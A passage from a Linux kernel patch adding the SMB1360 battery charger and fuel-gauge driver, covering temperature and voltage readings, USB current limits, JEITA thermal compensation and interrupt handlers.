| reg[0]; + temp = div_u64(temp * 625, 10000UL); /* temperature in kelvin */ + temp = (temp - 273) * 10; /* temperature in decideg */ + + if (temp > 100) + revise_temp = temp; + else if ((100 >= temp) && (temp > 1)) + revise_temp = temp + 10; + else if ((10 == temp)) + revise_temp = 10; + else if ((0 > temp) && (temp >= -10)) + revise_temp = 0; + else if ((-20 == temp)) + revise_temp = -10; + else if ((-20 > temp) && (temp >= -40)) + revise_temp = temp - 10; + else if ((-40 > temp) && (temp >= -70)) + revise_temp = temp - 20; + else if ((-70 > temp) && (temp >= -100)) + revise_temp = temp - 30; + else if ((-100 > temp) && (temp >= -150)) + revise_temp = temp - 40; + else if ((-150 > temp) && (temp >= -200)) + revise_temp = temp - 70; + else if (-200 > temp) + revise_temp = temp - 100; + + pr_debug("reg[0]=0x%02x reg[1]=0x%02x temperature=%d revise_temperture=%d\n", + reg[0], reg[1], temp, revise_temp); + + return revise_temp; +} + +static int smb1360_get_prop_voltage_now(struct smb1360_chip *chip) +{ + u8 reg[2]; + int rc, temp = 0; + + rc = smb1360_read_bytes(chip, SHDW_FG_VTG_NOW, reg, 2); + if (rc) { + pr_err("Failed to read SHDW_FG_VTG_NOW rc=%d\n", rc); + return rc; + } + + temp = (reg[1] << 8) | reg[0]; + temp = div_u64(temp * 5000, 0x7FFF); + + pr_debug("reg[0]=0x%02x reg[1]=0x%02x voltage=%d\n", + reg[0], reg[1], temp * 1000); + + return temp * 1000; +} + +static int smb1360_get_prop_batt_resistance(struct smb1360_chip *chip) +{ + u8 reg[2]; + u16 temp; + int rc; + int64_t resistance; + + rc = smb1360_read_bytes(chip, SHDW_FG_ESR_ACTUAL, reg, 2); + if (rc) { + pr_err("Failed to read FG_ESR_ACTUAL rc=%d\n", rc); + return rc; + } + temp = (reg[1] << 8) | reg[0]; + + resistance = float_decode(temp) * 2; + + pr_debug("reg=0x%02x resistance=%lld\n", temp, resistance); + + /* resistance in uohms */ + return resistance; +} + +static int smb1360_get_prop_current_now(struct smb1360_chip *chip) +{ + u8 reg[2]; + int rc, temp = 0; + + rc = smb1360_read_bytes(chip, SHDW_FG_CURR_NOW, reg, 2); + if (rc) { + pr_err("Failed to read SHDW_FG_CURR_NOW rc=%d\n", rc); + return rc; + } + + temp = ((s8)reg[1] << 8) | reg[0]; + temp = div_s64(temp * 2500, 0x7FFF); + + pr_debug("reg[0]=0x%02x reg[1]=0x%02x current=%d\n", + reg[0], reg[1], temp * 1000); + + return temp * 1000; +} + +static int smb1360_set_minimum_usb_current(struct smb1360_chip *chip) +{ + int rc = 0; + + pr_debug("set USB current to minimum\n"); + /* USB 500 */ + rc = smb1360_masked_write(chip, CMD_IL_REG, + USB_CTRL_MASK, USB_500_BIT); + pr_debug("when poweroff or pulgout USB/AC set current always 500mA \n"); + + return rc; +} + +static int smb1360_set_appropriate_usb_current(struct smb1360_chip *chip) +{ + int rc = 0, i, therm_ma, current_ma; + int path_current = chip->usb_psy_ma; + + /* + * If battery is absent do not modify the current at all, these + * would be some appropriate values set by the bootloader or default + * configuration and since it is the only source of power we should + * not change it + */ + if (!chip->batt_present) { + pr_debug("ignoring current request since battery is absent\n"); + return 0; + } + + if (chip->therm_lvl_sel > 0 + && chip->therm_lvl_sel < (chip->thermal_levels - 1)) + /* + * consider thermal limit only when it is active and not at + * the highest level + */ + therm_ma = chip->thermal_mitigation[chip->therm_lvl_sel]; + else + therm_ma = path_current; + + current_ma = min(therm_ma, path_current); + + if (chip->workaround_flags & WRKRND_HARD_JEITA) { + if (chip->batt_warm) + current_ma = min(current_ma, chip->warm_bat_ma); + else if (chip->batt_cool) + current_ma = min(current_ma, chip->cool_bat_ma); + } + + if (current_ma <= 2) { + /* + * SMB1360 does not support USB suspend - + * so set the current-limit to minimum in suspend. + */ + pr_debug("current_ma=%d <= 2 set USB current to minimum\n", + current_ma); + rc = smb1360_set_minimum_usb_current(chip); + if (rc < 0) + pr_err("Couldn't to set minimum USB current rc = %d\n", + rc); + + return rc; + } + + for (i = ARRAY_SIZE(input_current_limit) - 1; i >= 0; i--) { + if (input_current_limit[i] <= current_ma) + break; + } + if (i < 0) { + pr_debug("Couldn't find ICL mA rc=%d\n", rc); + i = 0; + } + /* set input current limit */ + rc = smb1360_masked_write(chip, CFG_BATT_CHG_ICL_REG, + INPUT_CURR_LIM_MASK, i); + if (rc) + pr_err("Couldn't set ICL mA rc=%d\n", rc); + + pr_debug("ICL set to = %d\n", input_current_limit[i]); + + if ((current_ma <= CURRENT_100_MA) && + (chip->workaround_flags & WRKRND_USB100_FAIL)) { + pr_debug("usb100 not supported\n"); + current_ma = CURRENT_500_MA; + } + + if (current_ma <= CURRENT_100_MA) { + rc = smb1360_masked_write(chip, CMD_IL_REG, + USB_CTRL_MASK, USB_500_BIT); + if (rc) + pr_err("Couldn't configure for USB500 rc=%d for usb100 mode\n", rc); + pr_debug("Setting USB 100\n"); + } else if (current_ma <= CURRENT_500_MA) { + /* USB 500 */ + rc = smb1360_masked_write(chip, CMD_IL_REG, + USB_CTRL_MASK, USB_500_BIT); + if (rc) + pr_err("Couldn't configure for USB500 rc=%d\n", rc); + pr_debug("Setting USB 500\n"); + } else { + /* USB AC */ + if (chip->rsense_10mohm) + current_ma /= 2; + + for (i = ARRAY_SIZE(fastchg_current) - 1; i >= 0; i--) { + if (fastchg_current[i] <= current_ma) + break; + } + if (i < 0) { + pr_debug("Couldn't find fastchg mA rc=%d\n", rc); + i = 0; + } + /* set fastchg limit */ + rc = smb1360_masked_write(chip, CHG_CURRENT_REG, + FASTCHG_CURR_MASK, i << FASTCHG_CURR_SHIFT); + if (rc) + pr_err("Couldn't set fastchg mA rc=%d\n", rc); + + /* + * To move to a new (higher) input-current setting, + * first set USB500 and then USBAC. This makes sure + * that the new ICL setting takes affect. + */ + rc = smb1360_masked_write(chip, CMD_IL_REG, + USB_CTRL_MASK, USB_500_BIT); + if (rc) + pr_err("Couldn't configure for USB500 rc=%d\n", rc); + + rc = smb1360_masked_write(chip, CMD_IL_REG, + USB_CTRL_MASK, USB_AC_BIT); + if (rc) + pr_err("Couldn't configure for USB AC rc=%d\n", rc); + + pr_debug("fast-chg current set to = %d\n", fastchg_current[i]); + } + + return rc; +} + +static int smb1360_set_jeita_comp_curr(struct smb1360_chip *chip, + int current_ma) +{ + int i; + int rc = 0; + + for (i = ARRAY_SIZE(fastchg_current) - 1; i >= 0; i--) { + if (fastchg_current[i] <= current_ma) + break; + } + if (i < 0) { + pr_debug("Couldn't find fastchg_current %dmA\n", current_ma); + i = 0; + } + + rc = smb1360_masked_write(chip, CHG_CMP_CFG, + JEITA_COMP_CURR_MASK, i); + if (rc) + pr_err("Couldn't configure for Icomp, rc = %d\n", rc); + + return rc; +} + +#define TEMP_THRE_SET(x) ((x + 300) / 10) +static int smb1360_set_soft_jeita_threshold(struct smb1360_chip *chip, + int cold_threshold, int hot_threshold) +{ + int rc = 0; + + rc = smb1360_write(chip, JEITA_SOFT_COLD_REG, + TEMP_THRE_SET(cold_threshold)); + if (rc) { + pr_err("Couldn't set cold threshold, rc = %d\n", rc); + return rc; + } else { + chip->soft_cold_thresh = cold_threshold; + } + + rc = smb1360_write(chip, JEITA_SOFT_HOT_REG, + TEMP_THRE_SET(hot_threshold)); + if (rc) { + pr_err("Couldn't set hot threshold, rc = %d\n", rc); + return rc; + } else { + chip->soft_hot_thresh = hot_threshold; + } + + return rc; +} + +static int smb1360_system_temp_level_set(struct smb1360_chip *chip, + int lvl_sel) +{ + int rc = 0; + int prev_therm_lvl; + + if (!chip->thermal_mitigation) { + pr_err("Thermal mitigation not supported\n"); + return -EINVAL; + } + + if (lvl_sel < 0) { + pr_err("Unsupported level selected %d\n", lvl_sel); + return -EINVAL; + } + + if (lvl_sel >= chip->thermal_levels) { + pr_err("Unsupported level selected %d forcing %d\n", lvl_sel, + chip->thermal_levels - 1); + lvl_sel = chip->thermal_levels - 1; + } + + if (lvl_sel == chip->therm_lvl_sel) + return 0; + + mutex_lock(&chip->current_change_lock); + prev_therm_lvl = chip->therm_lvl_sel; + chip->therm_lvl_sel = lvl_sel; + + if (chip->therm_lvl_sel == (chip->thermal_levels - 1)) { + rc = smb1360_set_minimum_usb_current(chip); + if (rc) + pr_err("Couldn't set USB current to minimum rc = %d\n", + rc); + } else { + rc = smb1360_set_appropriate_usb_current(chip); + if (rc) + pr_err("Couldn't set USB current rc = %d\n", rc); + } + + mutex_unlock(&chip->current_change_lock); + return rc; +} + +static int smb1360_recharge_type_set(struct smb1360_chip *chip, enum recharge_type type) +{ + int rc = 0; + u8 reg = 0; + + pr_debug("chip->current_recharge_type:%d set_type:%d\n", chip->current_recharge_type, type); + + if (chip->current_recharge_type == type) + return 0; + else + chip->current_recharge_type = type; + + + pr_debug("fg_auto_recharge_soc:%d warm_recharge_mv:%d\n", chip->fg_auto_recharge_soc, chip->warm_recharge_mv); + if (chip->fg_auto_recharge_soc != -EINVAL + || chip->warm_recharge_mv != -EINVAL) { + rc = smb1360_enable_fg_access(chip); + if (rc) { + pr_err("Couldn't enable FG access rc=%d\n", rc); + return rc; + } + + if ((type == FG_SOC_AUTO_RECHARGE) && (chip->fg_auto_recharge_soc != -EINVAL)) { + rc = smb1360_masked_write(chip, CFG_CHG_FUNC_CTRL_REG, + CHG_RECHG_THRESH_FG_SRC_BIT, + CHG_RECHG_THRESH_FG_SRC_BIT); + if (rc) { + dev_err(chip->dev, "Couldn't write to fg acd soc recharge rc=%d\n", + rc); + goto disable_fg; + } + + reg = DIV_ROUND_UP(chip->fg_auto_recharge_soc * MAX_8_BITS, 100); + pr_debug("fg_auto_recharge_soc=%d reg=%x\n", chip->fg_auto_recharge_soc, reg); + rc = smb1360_write(chip, FG_AUTO_RECHARGE_SOC, reg); + if (rc) { + dev_err(chip->dev, "Couldn't write to FG_AUTO_RECHARGE_SOC rc=%d\n", + rc); + goto disable_fg; + } + } else if ((type == SENSOR_VOLTAGE_AUTO_RECHARGE) && (chip->warm_recharge_mv != -EINVAL)) { + rc = smb1360_masked_write(chip, CFG_CHG_FUNC_CTRL_REG, + CHG_RECHG_THRESH_FG_SRC_BIT, 0); + if (rc) { + dev_err(chip->dev, "Couldn't write to sensor analog recharge reg rc=%d\n", + rc); + goto disable_fg; + } + + if (chip->recharge_disabled && chip->chg_inhibit_disabled) { + dev_err(chip->dev, "Error: Both recharge_disabled and warm recharge_mv set\n"); + goto disable_fg; + } else { + rc = smb1360_recharge_threshold_set(chip, chip->warm_recharge_mv); + if (rc) { + dev_err(chip->dev, "Couldn't set rechg thresh rc = %d\n", rc); + goto disable_fg; + } + } + } + + disable_fg: + /* disable FG access */ + smb1360_disable_fg_access(chip); + } + + return rc; +} + +static int smb1360_battery_set_property(struct power_supply *psy, + enum power_supply_property prop, + const union power_supply_propval *val) +{ + struct smb1360_chip *chip = container_of(psy, + struct smb1360_chip, batt_psy); + + switch (prop) { + case POWER_SUPPLY_PROP_CHARGING_ENABLED: + smb1360_charging_disable(chip, USER, !val->intval); + break; + case POWER_SUPPLY_PROP_CAPACITY: + chip->fake_battery_soc = val->intval; + pr_info("fake_soc set to %d\n", chip->fake_battery_soc); + power_supply_changed(&chip->batt_psy); + break; + case POWER_SUPPLY_PROP_SYSTEM_TEMP_LEVEL: + smb1360_system_temp_level_set(chip, val->intval); + break; + default: + return -EINVAL; + } + + return 0; +} + +static int smb1360_battery_is_writeable(struct power_supply *psy, + enum power_supply_property prop) +{ + int rc; + + switch (prop) { + case POWER_SUPPLY_PROP_CHARGING_ENABLED: + case POWER_SUPPLY_PROP_CAPACITY: + case POWER_SUPPLY_PROP_SYSTEM_TEMP_LEVEL: + rc = 1; + break; + default: + rc = 0; + break; + } + return rc; +} + +static int smb1360_battery_get_property(struct power_supply *psy, + enum power_supply_property prop, + union power_supply_propval *val) +{ + struct smb1360_chip *chip = container_of(psy, + struct smb1360_chip, batt_psy); + + switch (prop) { + case POWER_SUPPLY_PROP_HEALTH: + val->intval = smb1360_get_prop_batt_health(chip); + break; + case POWER_SUPPLY_PROP_PRESENT: + val->intval = smb1360_get_prop_batt_present(chip); + break; + case POWER_SUPPLY_PROP_TECHNOLOGY: + val->intval = POWER_SUPPLY_TECHNOLOGY_LION; + break; + case POWER_SUPPLY_PROP_STATUS: + val->intval = smb1360_get_prop_batt_status(chip); + break; + case POWER_SUPPLY_PROP_CHARGING_ENABLED: + val->intval = smb1360_get_prop_charging_status(chip); + break; + case POWER_SUPPLY_PROP_CHARGE_TYPE: + val->intval = smb1360_get_prop_charge_type(chip); + break; + case POWER_SUPPLY_PROP_CAPACITY: + val->intval = smb1360_get_prop_batt_capacity(chip); + break; + case POWER_SUPPLY_PROP_CHARGE_FULL_DESIGN: + val->intval = smb1360_get_prop_chg_full_design(chip); + break; + case POWER_SUPPLY_PROP_VOLTAGE_NOW: + val->intval = smb1360_get_prop_voltage_now(chip); + break; + case POWER_SUPPLY_PROP_CURRENT_NOW: + val->intval = smb1360_get_prop_current_now(chip); + break; + case POWER_SUPPLY_PROP_RESISTANCE: + val->intval = smb1360_get_prop_batt_resistance(chip); + break; + case POWER_SUPPLY_PROP_TEMP: + val->intval = smb1360_get_prop_batt_temp(chip); + break; + case POWER_SUPPLY_PROP_SYSTEM_TEMP_LEVEL: + val->intval = chip->therm_lvl_sel; + break; + default: + return -EINVAL; + } + return 0; +} + +static void smb1360_external_power_changed(struct power_supply *psy) +{ + struct smb1360_chip *chip = container_of(psy, + struct smb1360_chip, batt_psy); + union power_supply_propval prop = {0,}; + int rc, current_limit = 0; + + rc = chip->usb_psy->get_property(chip->usb_psy, + POWER_SUPPLY_PROP_CURRENT_MAX, &prop); + if (rc < 0) + dev_err(chip->dev, + "could not read USB current_max property, rc=%d\n", rc); + else + current_limit = prop.intval / 1000; + + pr_debug("current_limit = %d\n", current_limit); + + if (chip->usb_psy_ma != current_limit) { + mutex_lock(&chip->current_change_lock); + chip->usb_psy_ma = current_limit; + rc = smb1360_set_appropriate_usb_current(chip); + if (rc < 0) + pr_err("Couldn't set usb current rc = %d\n", rc); + mutex_unlock(&chip->current_change_lock); + } + + rc = chip->usb_psy->get_property(chip->usb_psy, + POWER_SUPPLY_PROP_ONLINE, &prop); + if (rc < 0) + pr_err("could not read USB ONLINE property, rc=%d\n", rc); + + /* update online property */ + rc = 0; + if (chip->usb_present && !chip->charging_disabled_status + && chip->usb_psy_ma != 0) { + if (prop.intval == 0) + rc = power_supply_set_online(chip->usb_psy, true); + } else { + if (prop.intval == 1) + rc = power_supply_set_online(chip->usb_psy, false); + } + if (rc < 0) + pr_err("could not set usb online, rc=%d\n", rc); +} + +static int hot_hard_handler(struct smb1360_chip *chip, u8 rt_stat) +{ + pr_debug("rt_stat = 0x%02x\n", rt_stat); + if (!chip->config_hard_thresholds) + chip->batt_hot = !!rt_stat; + return 0; +} + +static int cold_hard_handler(struct smb1360_chip *chip, u8 rt_stat) +{ + pr_debug("rt_stat = 0x%02x\n", rt_stat); + if (!chip->config_hard_thresholds) + chip->batt_cold = !!rt_stat; + return 0; +} + +/* + * This worker is only be called when WRKRND_HARD_JEITA set. + * It needs re-program the jeita soft thresholds and compensate + * the target voltage and charging current manually. + * The main reason to use this workaround is jeita hard + * thresholds can't be programmed. +*/ +static void smb1360_jeita_work_fn(struct work_struct *work) +{ + int temp; + int rc = 0; + struct delayed_work *dwork = to_delayed_work(work); + struct smb1360_chip *chip = container_of(dwork, struct smb1360_chip, + jeita_work); + temp = smb1360_get_prop_batt_temp(chip); + pr_debug("temp:%d\n", temp); + + if (temp > chip->hot_bat_decidegc) { + /* battery status is hot, only config thresholds */ + + rc = smb1360_set_soft_jeita_threshold(chip, + chip->warm_bat_decidegc, chip->hot_bat_decidegc); + if (rc) { + dev_err(chip->dev, "Couldn't set jeita threshold\n"); + goto end; + } + pr_debug("battery hot\n"); + } else if (temp > chip->warm_bat_decidegc || + (temp == chip->warm_bat_decidegc && !!chip->soft_hot_rt_stat)) { + /* battery status is warm, update status and do compensation manually */ + + chip->batt_warm = true; + chip->batt_cool = false; + + rc = smb1360_float_voltage_set(chip, chip->warm_bat_mv); + if (rc) { + dev_err(chip->dev, "Couldn't warm set float voltage\n"); + goto end; + } + rc = smb1360_set_appropriate_usb_current(chip); + if (rc) + pr_err("Couldn't set USB current\n"); + rc = smb1360_set_soft_jeita_threshold(chip, + chip->warm_bat_decidegc, chip->hot_bat_decidegc); + if (rc) { + dev_err(chip->dev, "Couldn't set jeita threshold\n"); + goto end; + } + smb1360_recharge_type_set(chip, SENSOR_VOLTAGE_AUTO_RECHARGE); + pr_debug("battery warm\n"); + } else if (temp > chip->cool_bat_decidegc || + (temp == chip->cool_bat_decidegc && !chip->soft_cold_rt_stat)) { + /* battery status is good, do the normal charging */ + + chip->batt_warm = false; + chip->batt_cool = false; + + rc = smb1360_float_voltage_set(chip, chip->vfloat_mv); + if (rc) { + dev_err(chip->dev, "Couldn't set float voltage\n"); + goto end; + } + rc = smb1360_set_appropriate_usb_current(chip); + if (rc) + pr_err("Couldn't set USB current\n"); + rc = smb1360_set_soft_jeita_threshold(chip, + chip->cool_bat_decidegc, chip->warm_bat_decidegc); + if (rc) { + dev_err(chip->dev, "Couldn't set jeita threshold\n"); + goto end; + } + smb1360_recharge_type_set(chip, FG_SOC_AUTO_RECHARGE); + pr_debug("battery good\n"); + } else if (temp > chip->cold_bat_decidegc) { + /* battery status is cool, update status and do compensation manually */ + + chip->batt_warm = false; + chip->batt_cool = true; + + rc = smb1360_float_voltage_set(chip, chip->cool_bat_mv); + if (rc) { + dev_err(chip->dev, "Couldn't set cool float voltage\n"); + goto end; + } + rc = smb1360_set_appropriate_usb_current(chip); + if (rc) + pr_err("Couldn't set USB current\n"); + rc = smb1360_set_soft_jeita_threshold(chip, + chip->cold_bat_decidegc, chip->cool_bat_decidegc); + if (rc) { + dev_err(chip->dev, "Couldn't set jeita threshold\n"); + goto end; + } + pr_debug("battery cool\n"); + smb1360_recharge_type_set(chip, SENSOR_VOLTAGE_AUTO_RECHARGE); + } else { + /* battery status is cold, only config thresholds */ + chip->batt_hot = false; + chip->batt_warm = false; + chip->batt_cool = false; + chip->batt_cold = false; + rc = smb1360_set_soft_jeita_threshold(chip, + chip->cold_bat_decidegc, chip->cool_bat_decidegc); + if (rc) { + dev_err(chip->dev, "Couldn't set jeita threshold\n"); + goto end; + } + pr_debug("battery clod\n"); + } + + pr_debug("warm %d, cool %d, soft_cold_rt_sts %d, soft_hot_rt_sts %d, jeita supported %d, threshold_now %d %d\n", + chip->batt_warm, chip->batt_cool, !!chip->soft_cold_rt_stat, + !!chip->soft_hot_rt_stat, chip->soft_jeita_supported, + chip->soft_cold_thresh, chip->soft_hot_thresh); +end: + pm_relax(chip->dev); +} + +static int hot_soft_handler(struct smb1360_chip *chip, u8 rt_stat) +{ + int rc = 0; + chip->soft_hot_rt_stat = rt_stat; + pr_debug("rt_stat = 0x%02x\n", rt_stat); + + /* update batt_cool and batt_warm flags if we not take it in work around */ + if (!chip->config_hard_thresholds) + chip->batt_warm = !!rt_stat; + + if (chip->workaround_flags & WRKRND_HARD_JEITA) { + cancel_delayed_work_sync(&chip->jeita_work); + schedule_delayed_work(&chip->jeita_work, + msecs_to_jiffies(JEITA_WORK_MS)); + pm_stay_awake(chip->dev); + } + return rc; +} + +static int cold_soft_handler(struct smb1360_chip *chip, u8 rt_stat) +{ + int rc = 0; + chip->soft_cold_rt_stat = rt_stat; + pr_debug("rt_stat = 0x%02x\n", rt_stat); + /* update batt_cool and batt_warm flags if we not take it in work around */ + if (!chip->config_hard_thresholds) + chip->batt_cool = !!rt_stat; + + if (chip->workaround_flags & WRKRND_HARD_JEITA) { + cancel_delayed_work_sync(&chip->jeita_work); + schedule_delayed_work(&chip->jeita_work, + msecs_to_jiffies(JEITA_WORK_MS)); + pm_stay_awake(chip->dev); + } + return rc; +} + +static int battery_missing_handler(struct smb1360_chip *chip, u8 rt_stat) +{ + pr_debug("rt_stat = 0x%02x\n", rt_stat); + chip->batt_present = !rt_stat; + return 0; +} + +static int vbat_low_handler(struct smb1360_chip *chip, u8 rt_stat) +{ + pr_debug("vbat low\n"); + + return 0; +} + +static int chg_hot_handler(struct smb1360_chip *chip, u8 rt_stat) +{ + pr_warn_ratelimited("chg hot\n"); + return 0; +} + +static int chg_term_handler(struct smb1360_chip *chip, u8 rt_stat) +{ + pr_debug("rt_stat = 0x%02x\n", rt_stat); + chip->batt_full = !!rt_stat; + return 0; +} + +static int usbin_uv_handler(struct smb1360_chip *chip, u8 rt_stat) +{ + bool usb_present = !rt_stat; + + pr_debug("chip->usb_present = %d usb_present = %d\n", + chip->usb_present, usb_present); + if (chip->usb_present && !usb_present) { + /* USB removed */ + chip->usb_present = usb_present; + power_supply_set_present(chip->usb_psy, usb_present); + } + + if (!chip->usb_present && usb_present) { + /* USB inserted */ + chip->usb_present = usb_present; + power_supply_set_present(chip->usb_psy, usb_present); + } + + return 0; +} + +static int chg_inhibit_handler(struct smb1360_chip *chip, u8 rt_stat) +{ + /* + * charger is inserted when the battery voltage is high + * so h/w won't start charging just yet. Treat this as + * battery full + */ + pr_debug("rt_stat = 0x%02x\n", rt_stat); + chip->batt_full = !!rt_stat; + return 0; +} + +static int power_ok_handler(struct smb1360_chip *chip, u8 rt_stat) +{ + /*usbin power ok*/ + pr_debug("rt_stat = 0x%02x\n", rt_stat); + chip->power_ok = rt_stat; + return 0; +} + +static int delta_soc_handler(struct smb1360_chip *chip, u8 rt_stat) +{ + pr_debug("SOC changed! - rt_stat = 0x%02x\n", rt_stat); + + return 0; +} + +static int min_soc_handler(struct smb1360_chip *chip, u8 rt_stat) +{ + pr_debug("SOC dropped below min SOC\n"); + + return 0; +} + +static int empty_soc_handler(struct smb1360_chip *chip, u8 rt_stat) +{ + if (rt_stat) { + pr_warn_ratelimited("SOC is 0\n"); + chip->empty_soc = true; + pm_stay_awake(chip->dev); + } else { + chip->empty_soc = false; + pm_relax(chip->dev); + } + + return 0; +} + +static int full_soc_handler(struct smb1360_chip *chip, u8 rt_stat) +{ + if (rt_stat) + pr_debug("SOC is 100\n"); + + return 0; +} + +static int fg_access_allowed_handler(struct smb1360_chip *chip, u8 rt_stat) +{ + pr_debug("stat=%d\n", !!rt_stat); + + return 0; +} + +static int batt_id_complete_handler(struct smb1360_chip *chip, u8 rt_stat) +{ + pr_debug("batt_id = %x\n", (rt_stat & BATT_ID_RESULT_BIT) + >> BATT_ID_SHIFT); + + return 0; +} + +static int smb1360_select_fg_i2c_address(struct smb1360_chip *chip) +{ + unsigned short addr = chip->default_i2c_addr << 0x1; + + switch (chip->fg_access_type) { + case FG_ACCESS_CFG: + addr = (addr & ~FG_I2C_CFG_MASK) | FG_CFG_I2C_ADDR; + break; + + case FG_ACCESS_PROFILE_A: + addr = (addr & ~FG_I2C_CFG_MASK) | FG_PROFILE_A_ADDR; + break; + + case FG_ACCESS_PROFILE_B: + addr = (addr & ~FG_I2C_CFG_MASK) | FG_PROFILE_B_ADDR; + break; + + default: + pr_err("Invalid FG access type=%d\n", chip->fg_access_type); + return -EINVAL; + } + + chip->fg_i2c_addr = addr >> 0x1; + pr_debug("FG_access_type=%d fg_i2c_addr=%x\n", chip->fg_access_type, + chip->fg_i2c_addr); + + return 0; +} + +static int smb1360_adjust_current_gain(struct smb1360_chip *chip, int gain_factor) +{ + int i, rc; + int64_t current_gain, new_current_gain; + u8 reg[2]; + u16 reg_value1 = 0, reg_value2 = 0; + u8 reg_val_mapping[][2] = { + {0xE0, 0x1D}, + {0xE1, 0x00}, + {0xE2, 0x1E}, + {0xE3, 0x00}, + {0xE4, 0x00}, + {0xE5, 0x00}, + {0xE6, 0x00}, + {0xE7, 0x00}, + {0xE8, 0x00}, + {0xE9, 0x00}, + {0xEA, 0x00}, + {0xEB, 0x00}, + {0xEC, 0x00}, + {0xED, 0x00}, + {0xEF, 0x00}, + {0xF0, 0x50}, + {0xF1, 0x00}, + }; + + rc = smb1360_fg_read(chip, CURRENT_GAIN_LSB_REG, ®[0]); + if (rc) { + pr_err("Unable to set FG access I2C address rc=%d\n", rc); + return rc; + } + + rc = smb1360_fg_read(chip, CURRENT_GAIN_MSB_REG, ®[1]); + if (rc) { + pr_err("Unable to set FG access I2C address rc=%d\n", rc); + return rc; + } + + reg_value1 = (reg[1] << 8) | reg[0]; + current_gain = float_decode(reg_value1); + new_current_gain = MICRO_UNIT + (gain_factor * current_gain); + reg_value2 = float_encode(new_current_gain); + reg[0] = reg_value2 & 0xFF; + reg[1] = (reg_value2 & 0xFF00) >> 8; + pr_debug("current_gain_reg=0x%x current_gain_decoded=%lld new_current_gain_decoded=%lld new_current_gain_reg=0x%x\n", + reg_value1, current_gain, new_current_gain, reg_value2); + + for (i = 0; i < ARRAY_SIZE(reg_val_mapping); i++) { + if (reg_val_mapping[i][0] == 0xE1) + reg_val_mapping[i][1] = reg[0]; + if (reg_val_mapping[i][0] == 0xE3) + reg_val_mapping[i][1] = reg[1]; + + pr_debug("Writing reg_add=%x value=%x\n", reg_val_mapping[i][0], + reg_val_mapping[i][1]); + + rc = smb1360_fg_write(chip, reg_val_mapping[i][0], + reg_val_mapping[i][1]); + if (rc) { + pr_err("Write fg address 0x%x failed, rc = %d\n", + reg_val_mapping[i][0], rc); + return rc; + } + } + return 0; +} + +static int smb1360_otp_gain_config(struct smb1360_chip *chip, int gain_factor) +{ + int rc = 0; + + rc = smb1360_enable_fg_access(chip); + if (rc) { + pr_err("Couldn't request FG access rc = %d\n", rc); + return rc; + } + chip->fg_access_type = FG_ACCESS_CFG; + + rc = smb1360_select_fg_i2c_address(chip); + if (rc) { + pr_err("Unable to set FG access I2C address\n"); + goto restore_fg; + } + + rc = smb1360_adjust_current_gain(chip, gain_factor); + if (rc) { + pr_err("Unable to modify current gain rc=%d\n", rc); + goto restore_fg; + } + + rc = smb1360_masked_write(chip, CFG_FG_BATT_CTRL_REG, + CFG_FG_OTP_BACK_UP_ENABLE, CFG_FG_OTP_BACK_UP_ENABLE); + if (rc) { + pr_err("Write reg 0x0E failed, rc = %d\n", rc); + goto restore_fg; + } + + restore_fg: + rc = smb1360_disable_fg_access(chip); + if (rc) { + pr_err("Couldn't disable FG access rc = %d\n", rc); + return rc; + } + + return rc; +} + +struct smb_irq_info { + const char *name; + int (*smb_irq)(struct smb1360_chip *chip, + u8 rt_stat); + int high; + int low; +}; + +struct irq_handler_info { + u8 stat_reg; + u8 val; + u8 prev_val; + struct smb_irq_info irq_info[4]; +}; + +static struct irq_handler_info handlers[] = { + {IRQ_A_REG, 0, 0, + { + { + .name = "cold_soft", + .smb_irq = cold_soft_handler, + }, + { + .name = "hot_soft", + .smb_irq = hot_soft_handler, + }, + { + .name = "cold_hard", + .smb_irq = cold_hard_handler, + }, + { + .name = "hot_hard", + .smb_irq = hot_hard_handler, + }, + }, + }, + {IRQ_B_REG, 0, 0, + { + { + .name = "chg_hot", + .smb_irq = chg_hot_handler, + }, + { + .name = "vbat_low", + .smb_irq = vbat_low_handler, + }, + { + .name = "battery_missing", + .smb_irq = battery_missing_handler, + }, + { + .name = "battery_missing", + .smb_irq = battery_missing_handler, + }, + }, + }, + {IRQ_C_REG, 0, 0, + { + { + .name = "chg_term", + .smb_irq = chg_term_handler, + }, + { + .name = "taper", + }, + { + .name = "recharge", + }, + { + .name = "fast_chg", + }, + }, + }, + {IRQ_D_REG, 0, 0, + { + { + .name = "prechg_timeout", + }, + { + .name = "safety_timeout", + }, + { + .name = "aicl_done", + }, + { + .name = "battery_ov", + }, + }, + }, + {IRQ_E_REG, 0, 0, + { + { + .name = "usbin_uv", + .smb_irq = usbin_uv_handler, + }, + { + .name = "usbin_ov", + }, + { + .name = "unused", + }, + { + .name = "chg_inhibit", + .smb_irq = chg_inhibit_handler, + }, + }, + }, + {IRQ_F_REG, 0, 0, + { + { + .name = "power_ok", + .smb_irq = power_ok_handler, + }, + { + .name = "unused", + }, + { + .name = "otg_fail", + }, + { + .name = "otg_oc", + }, + }, + }, + {IRQ_G_REG, 0, 0, + { + { + .name = "delta_soc", + .smb_irq = delta_soc_handler, + }, + { + .name = "chg_error", + }, + { + .name = "wd_timeout", + }, + { + .name = "unused", + }, + }, + }, + {IRQ_H_REG, 0, 0, + { + { + .name = "min_soc", + .smb_irq = min_soc_handler, + }, + { + .name = "max_soc", + }, + { + .name = "empty_soc", + .smb_irq = empty_soc_handler, + }, + { + .name = "full_soc", + .smb_irq = full_soc_handler, + }, + }, + }, + {IRQ_I_REG, 0, 0, + { + { + .name = "fg_access_allowed", + .smb_irq = fg_access_allowed_handler, + }, + { + .name = "fg_data_recovery", + }, + { + .name = "batt_id_complete", + .smb_irq = batt_id_complete_handler, + }, + }, + }, +}; + +#define IRQ_LATCHED_MASK 0x02 +#define IRQ_STATUS_MASK 0x01 +#define BATT_ID_LATCHED_MASK 0x08 +#define BATT_ID_STATUS_MASK 0x07 +#define BITS_PER_IRQ 2 +static irqreturn_t smb1360_stat_handler(int irq, void *dev_id) +{ + struct smb1360_chip *chip = dev_id; + int i, j; + u8 triggered; + u8 changed; + u8 rt_stat, prev_rt_stat, irq_latched_mask, irq_status_mask; + int rc; + int handler_count = 0; + + mutex_lock(&chip->irq_complete); + chip->irq_waiting = true; + if (!chip->resume_completed) { + dev_dbg(chip->dev, "IRQ triggered before device-resume\n"); + disable_irq_nosync(irq); + mutex_unlock(&chip->irq_complete); + return IRQ_HANDLED; + } + chip->irq_waiting = false; + + for (i = 0; i < ARRAY_SIZE(handlers); i++) { + rc = smb1360_read(chip, handlers[i].stat_reg, + &handlers[i].val); + if (rc < 0) { + dev_err(chip->dev, "Couldn't read %d rc = %d\n", + handlers[i].stat_reg, rc); + continue; + } + + for (j = 0; 